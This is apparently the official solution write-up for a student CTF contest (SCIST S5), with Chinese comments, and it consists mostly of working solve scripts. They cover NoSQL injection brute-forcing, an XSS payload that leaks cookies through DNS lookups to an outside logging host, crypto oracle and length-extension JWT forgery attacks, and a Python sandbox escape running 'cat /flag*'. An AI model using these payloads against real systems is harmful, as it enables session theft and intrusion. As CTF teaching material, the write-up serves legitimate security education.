SCIST S5 資安季中賽官方解答

嗨你好我是 OsGa

預祝各位季中賽順利，我和 Fearnot 去打 EOF 了
 
記得要乖乖不要壞壞ㄡ

FLAG 被我放在首頁的一個的地方，快去找找看ㄅ
 
Author : OsGa


⛩️ HINT1. 先從首頁 https://mid.ctf.scist.org/ 開始

⛩️ HINT2. part2 flag in 🤖🤖🤖

import requests
import uuid
import string

url = "http://localhost:28001/login"



flag = ""


def to_uni(num):
    next_uni = "\\u" + hex(mid)[2:].zfill(5)
    return next_uni

while not flag.endswith("}"):
    lb = 1
    rb = 9999
    while lb + 1 < rb:
        mid = (lb + rb) // 2
        payload = {
            "history_id": {
                "username": "admin",
                "generated_payload": {"$gt": f"{flag}{to_uni(mid)}"},
            }
        }
        r = requests.post(url, json=payload)
        if r.status_code == 200:
            lb = mid
        else:
            rb = mid
    flag += to_uni(lb) 

    print(flag)

print(flag)

import requests
import uuid
import string

url = "http://localhost:28001/login"
flag = ""


while not flag.endswith("}"):
    lb = 1
    rb = 65535 + 1
    while lb + 1 < rb:
        mid = (lb + rb) // 2
        payload = {
            "username": "admin",
            "password": {"$gt": f"{flag}{chr(mid)}"},
        }
        r = requests.post(url, json=payload)
        if r.status_code == 200:
            lb = mid
        else:
            rb = mid
    flag += chr(lb)

    print(flag)

print(flag)

import requests
import re
import base64


url = "http://localhost:28002/"
# https://dnsl0g.net/
payload = """
<script>
let hex = '';
const match = document.cookie;
for (let i = 0; i < match.length; i++) {
    hex += match.charCodeAt(i).toString(16).padStart(2, '0');
}
for (let i = 0; i < hex.length; i += 32) {
	const chunk = hex.slice(i, i + 32);
	const pc = new RTCPeerConnection({iceServers: [{'urls': `stun:${chunk}.ys7ny7b.q.dnsl0g.net`}]});
	pc.createDataChannel('d');
	pc.setLocalDescription();
}
</script>
"""

r = requests.post(
    url,
    data={
        "note": payload
    },
)

payload_url = 'http://xss5/'+'/'.join(r.url.split('/')[3:])
print(payload_url)


requests.post(
    url + "report",
    data={
        "url": payload_url,
    },
)

# you will get flag in dns log

if (data.type === 'guess') {
    response = room.gameRoom.guess(data.number);
} else if (data.type === 'backdoor') {
    response = room.gameRoom.getSecretAnswer(data.command);
} else {
    response = { status: 'error', message: 'Invalid message type' };
}

getSecretAnswer(command) {
    if (command === 'SHOW_ME_THE_ANSWER_PLZ') {
        return { status: 'secret', answer: this.answer };
    }
}
    return { status: 'error', message: 'Invalid command' };

class ElGamal:
    def __init__(self, nbit: int = 1024):
        self.nbyte = nbit // 8
        self.p = getPrime(nbit)
        self.g = self.gen_generator()
        self.x = randrange(2, self.p - 2)
        self.y = pow(self.g, self.x, self.p)

    @property
    def public_key(self) -> str:
        return json.dumps({"g": self.g, "y": self.y, "p": self.p})

    def encrypt(self, plaintext: bytes) -> bytes:
        m = bytes_to_long(plaintext)
        assert 0 < m < self.p
        k = randrange(2, self.p - 2)
        c1 = pow(self.g, k, self.p)
        c2 = m * pow(self.y, k, self.p) % self.p
        return b"".join(
            c.to_bytes(self.nbyte, byteorder="big")
            for c in (c1, c2)
        )

    def decrypt(self, ciphertext: bytes) -> bytes:
        assert len(ciphertext) == 2 * self.nbyte
        c1, c2 = tuple(
            int.from_bytes(ciphertext[idx:idx+self.nbyte], byteorder="big")
            for idx in range(0, len(ciphertext), self.nbyte)
        )
        m = pow(c1, -self.x, self.p) * c2 % self.p
        return long_to_bytes(m)

ciphertext = bytes.fromhex(input("> Enter ciphertext: "))
print(f"plaintext last byte: {cipher.decrypt(ciphertext)[-1]}")

def decrypt(c1: int, c2: int) -> int:
    ciphertext = b"".join(c.to_bytes(128, byteorder="big") for c in (c1, c2))
    conn.sendlineafter(b": ", b"decrypt")
    conn.sendlineafter(b": ", ciphertext.hex().encode())
    conn.recvuntil(b": ")
    return int(conn.recvuntil(b"\n").decode())

# 接收 public_key，用 json 的格式去 parse，然後我們只需要 p
conn.recvuntil(b": ")
p = json.loads(conn.recvuntil(b"\n"))["p"]

# 生成回傳值與區間 k 的對應表
p_reverse_mapping = {-k * p % 256: k for k in range(256)}

# 接收 enc_flag，並依照題目敘述 parse 成 (c1, c2)
conn.recvuntil(b": ")
ciphertext = bytes.fromhex(conn.recvuntil(b"\n").decode())
c1, c2 = tuple(
    int.from_bytes(ciphertext[idx:idx+128], byteorder="big")
    for idx in range(0, len(ciphertext), 128)
)

# 準備開始 oracle
l, r = 0, p

# 通常我會確保 l 到 r 之間的間隔還足夠繼續 oracle 切分
while r - l > 255:
    # 對 c2 做同態加密
    c2 = 256 * c2 % p

    # 用對應表找回 m 所在的區間
    k = p_reverse_mapping[decrypt(c1, c2)]

    # 用 r - l 去切分 256 等分為一個區間
    # 用原始的 l 加上 k 和 k + 1 個區間去定義新的 l 和 r
    l, r = l + k * (r - l) // 256, l + (k + 1) * (r - l) // 256

    # 把目前的差距顯示出來當作進度條
    print(r - l)

# 結束後把 l 和 r 都轉成文字看看，一定會有誤差但能辨識得出來即可
print(long_to_bytes(l))
print(long_to_bytes(r))

class LCG(PRNG):
    def __init__(self, nbit: int = 128):
        self.nbyte = nbit // 8

        self.a = getPrime(nbit // 2)
        self.c = getPrime(nbit // 2)
        self.m = getPrime(nbit)
        self.seed = getPrime(nbit // 2)

    def next(self) -> typing.Generator[int, None, None]:
        while True:
            self.seed = (self.a * self.seed + self.c) % self.m
            yield from self.seed.to_bytes(self.nbyte, byteorder="big")

class Cipher:
    def __init__(self, rpng: PRNG):
        self.rpng = copy.copy(rpng)

    def encrypt(self, plaintext: bytes) -> bytes:
        return bytes(pt ^ key for pt, key in zip(plaintext, self.rpng.next()))

plaintext = input("> Enter plaintext: ")
print(f"enc: {Cipher(lcg).encrypt(plaintext.encode()).hex()}")

# 接收加密後的 flag 並從 hex-string 轉成 bytes
conn.recvuntil(b": ")
flag = bytes.fromhex(conn.recvuntil(b"\n").decode())

# 生成與 flag 相同長度的 plaintext 送去加密並接收對應密文
plaintext = b"A" * len(flag)
conn.sendlineafter(b": ", b"encrypt")
conn.sendlineafter(b": ", plaintext)
conn.recvuntil(b": ")
enc = bytes.fromhex(conn.recvuntil(b"\n").decode())

# 已知明文與拿到密文，在 stream cipher 中算回對應的 keystream
keystream = xor(plaintext, enc)

# 拿到 keystream 對 flag 做解密
print(xor(flag, keystream).decode())

@staticmethod
def get_forward_prime() -> int:
    while True:
        p = 2
        while size(p) < 527:
            p *= getPrime(randrange(4, 17))
        if isPrime(p + 1):
            return p + 1

@staticmethod
def get_backward_prime() -> int:
    while True:
        p = getPrime(240)
        if isPrime(p) and isPrime(p + 2):
            return p

@classmethod
def base64encode(cls, data: bytes) -> str:
    data = base64.b64encode(data).decode()
    data = data.replace("+", "-").replace("/", "_")
    return data.rstrip("=")

@classmethod
def base64decode(cls, data: str) -> bytes:
    data = data.replace("-", "+").replace("_", "/")
    data = data + "=" * (-len(data) % 4)
    return base64.b64decode(data.encode())

def encode(self, payload: dict[bytes, bytes]) -> str:
    header = self.generate_header()
    body = self.generate_body(payload)
    signature = self.generate_signature(header + b"." + body)
    return ".".join(self.base64encode(payload) for payload in (header, body, signature))

def decode(self, token: str) -> dict[bytes, list[bytes]]:
    header, body, signature = tuple(self.base64decode(payload) for payload in token.split("."))
    self.verify_header(header)
    self.verify_body(body)
    self.verify_signature(header + b"." + body, signature)
    return parse_qs(body)

def generate_body(self, payload: dict[bytes, bytes]) -> bytes:
    payload[b"iat"] = f"{int(datetime.datetime.now().timestamp())}".encode()
    return urlencode(payload).encode()

def generate_header(self) -> bytes:
    payload = {b"alg": self.alg, b"typ": self.typ}
    return urlencode(payload).encode()

def generate_signature(self, message: bytes) -> bytes:
    return hashlib.sha256(self.secret + message).digest()

def verify_body(self, body: bytes):
    issued_at = int(parse_qs(body)[b"iat"][-1].decode())
    if datetime.datetime.fromtimestamp(issued_at) + self.exp < datetime.datetime.now():
        raise ValueError("Verify body failed.")

def verify_header(self, header: bytes):
    payload = parse_qs(header)
    if self.alg not in payload[b"alg"] or self.typ not in payload[b"typ"]:
        raise ValueError("Verify header failed.")

def verify_signature(self, message: bytes, signature: bytes):
    if self.generate_signature(message) != signature:
        raise ValueError("Verify signature failed.")

def generate_signature(self, message: bytes) -> str:
    return self.key.sign(super().generate_signature(message))

def verify_signature(self, message: bytes, signature: bytes):
    if not self.key.verify(super().generate_signature(message), signature):
        raise ValueError("Verify signature failed.")

import json

import gmpy2
from Crypto.Util.number import GCD, inverse


def pollard(n: int) -> int:
    a, b = 2, 2
    while True:
        a = pow(a, b, n)
        p = GCD(a - 1, n)
        if 1 < p < n:
            return p
        b += 1


def fermat(n: int) -> tuple[int, int]:
    a = gmpy2.isqrt(n) + 1
    b = a ** 2 - n
    while not gmpy2.iroot(b, 2)[1]:
        a += 1
        b = a ** 2 - n
    b = gmpy2.iroot(b, 2)[0]
    return int(a + b), int(a - b)


def main():
    conn.recvuntil(b": ")
    e, n = json.loads(conn.recvuntil(b"\n")).values()
    p = pollard(n)
    q1, q2 = fermat(n // p)
    assert p * q1 * q2 == n
    d = inverse(e, (p - 1) * (q1 - 1) * (q2 - 1))

# initialize table of round constants
k = [
    0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
    0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
    0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
    0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
    0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
    0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
    0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
    0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
]

# copy from lambda function of source code
def right_rotate(n: int, b: int) -> int:
    return ((n >> b) | (n << (32 - b))) & 0xffffffff

# copy from source code, the part of calculate the chunk data in the for-loop
def extend_signature(chunk: bytes, h0: int, h1: int, h2: int, h3: int, h4: int, h5: int, h6: int, h7: int) -> tuple[int, int, int, int, int, int, int, int]:
    # break chuck into sixteen 32bits big-endian words
    w = [int.from_bytes(chunk[i:i+4], byteorder="big") for i in range(0, len(chunk), 4)]
    # extend 16 words to 64 words
    for i in range(16, 64):
        s0 = right_rotate(w[i-15], 7) ^ right_rotate(w[i-15], 18) ^ (w[i-15] >> 3)  # right_rotate(w[i-15], 3)
        s1 = right_rotate(w[i-2], 17) ^ right_rotate(w[i-2], 19) ^ (w[i-2] >> 10)   # right_rotate(w[i-2], 10)
        w.append((w[i-16] + s0 + w[i-7] + s1) & 0xffffffff)

    # initialize hash value for this chunk
    a = h0
    b = h1
    c = h2
    d = h3
    e = h4
    f = h5
    g = h6
    h = h7

    # main loop
    for i in range(64):
        s0 = right_rotate(a, 2) ^ right_rotate(a, 13) ^ right_rotate(a, 22)
        s1 = right_rotate(e, 6) ^ right_rotate(e, 11) ^ right_rotate(e, 25)
        choice = (e & f) ^ (~e & g)
        majority = (a & b) ^ (a & c) ^ (b & c)
        temp1 = (h + s1 + choice + k[i] + w[i]) & 0xffffffff
        temp2 = (s0 + majority) & 0xffffffff

        a, b, c, d, e, f, g, h = (temp1 + temp2) & 0xffffffff, a, b, c, (d + temp1) & 0xffffffff, e, f, g

    # add this chunk's hash to result so far
    h0 = (h0 + a) & 0xffffffff
    h1 = (h1 + b) & 0xffffffff
    h2 = (h2 + c) & 0xffffffff
    h3 = (h3 + d) & 0xffffffff
    h4 = (h4 + e) & 0xffffffff
    h5 = (h5 + f) & 0xffffffff
    h6 = (h6 + g) & 0xffffffff
    h7 = (h7 + h) & 0xffffffff

    return (h0, h1, h2, h3, h4, h5, h6, h7)

def length_extension_attack(digest: bytes, append_message: bytes) -> bytes:
    # reverse the final digest value
    h0, h1, h2, h3, h4, h5, h6, h7 = [int.from_bytes(digest[i:i+4], byteorder="big") for i in range(0, len(digest), 4)]

    # append the message and calculate the digest of chunk data
    for i in range(0, len(append_message), 64):
        h0, h1, h2, h3, h4, h5, h6, h7 = extend_signature(append_message[i:i+64], h0, h1, h2, h3, h4, h5, h6, h7)

    # produce the final digest value
    return b"".join(map(lambda x: x.to_bytes(4, byteorder="big"), (h0, h1, h2, h3, h4, h5, h6, h7)))

# 在同目錄下存成 server.py 即可調用
from Crypto.Util.number import bytes_to_long, long_to_bytes

from server import JWT256

# L function of the demo in class
def length(n: int) -> bytes:
    return (8 * n).to_bytes(8, byteorder="big")

def main():
    # 上面分解 RsaKey 的腳本放這邊

    # 呼叫 register 拿到 token
    conn.sendlineafter(b": ", b"register")
    conn.sendlineafter(b": ", b"AAA")
    conn.recvuntil(b": ")
    token = conn.recvuntil(b"\n").strip(b"\n").decode()

    # 拆成 urlencoded 的資料，並把 signature 算回 sha256 的 digest
    header, body, signature = tuple(JWT256.base64decode(payload) for payload in token.split("."))
    signature = long_to_bytes(pow(bytes_to_long(signature), e, n))

    # 依照上面的擴充資料生成新的 body 和 signature，body[-10:] 為 iat
    new_body = body + b"\x80" + b"\x00" * 24 + length(95) + b"&admin=Y&iat=" + body[-10:]
    new_signature = length_extension_attack(signature, b"&admin=Y&iat=" + body[-10:] + b"\x80" + b"\x00" * 32 + length(151))

    # 用算出來的私鑰做成 RSA 的簽章後包裝成新的 token
    new_signature = long_to_bytes(pow(bytes_to_long(new_signature), d, n))
    new_token = ".".join(JWT256.base64encode(payload) for payload in (header, new_body, new_signature))

    # 嘗試使用偽造的 token 登入，如果出現 Hi AAA 表示偽造成功，則輸出 flag
    conn.sendlineafter(b": ", b"login")
    conn.sendlineafter(b": ", new_token.encode())
    if conn.recvuntil(b"\n").startswith(b"Hi"):
        conn.recvuntil(b": ")
        print(conn.recvuntil(b"\n").decode())

def strategy(candies: list[int]) -> tuple[int, int]:
    # 計算目前狀態的尼姆數
    target = functools.reduce(lambda x, y: x ^ y, candies)
    if target == 0:
        raise ValueError("No solution.")

    # 嘗試哪一個箱子可以透過拿取糖果讓尼姆數為 0
    for idx, candy in enumerate(candies, 1):
        result = candy - (candy ^ target)
        if result > 0:
            return idx, result

    raise ValueError("Strategy implements wrong.")

for _ in range(100):
    # 獲取題目初始訊息
    conn.recvuntil(b"contains")
    candies = list(map(int, conn.recvuntil(b"candy.").strip(b"candy.").strip().split(b", ")))

    # 持續遊玩直到全部糖果為 0
    while sum(candies) > 0:
        # 用制定好的策略去進行我的回合
        n, k = strategy(candies)
        conn.sendlineafter(b": ", f"({n}, {k})".encode())
        conn.recvuntil(b"\n")
        candies[n - 1] -= k

        # 接收對方回合的訊息，有可能為任務成功
        data = conn.recvuntil(b"\n").strip(b".\n")
        if data != b"Mission succeeded":
            data = data.split(b" ")
            candies[int(data[-1]) - 1] -= int(data[3])

# 拿到通關的 flag
print(conn.recvuntil(b"\n").decode())

import sys

payload = f"datetime.sys.modules['os'].system('cat /flag*')"

print(payload)


# python exploit.py | nc localhost 28003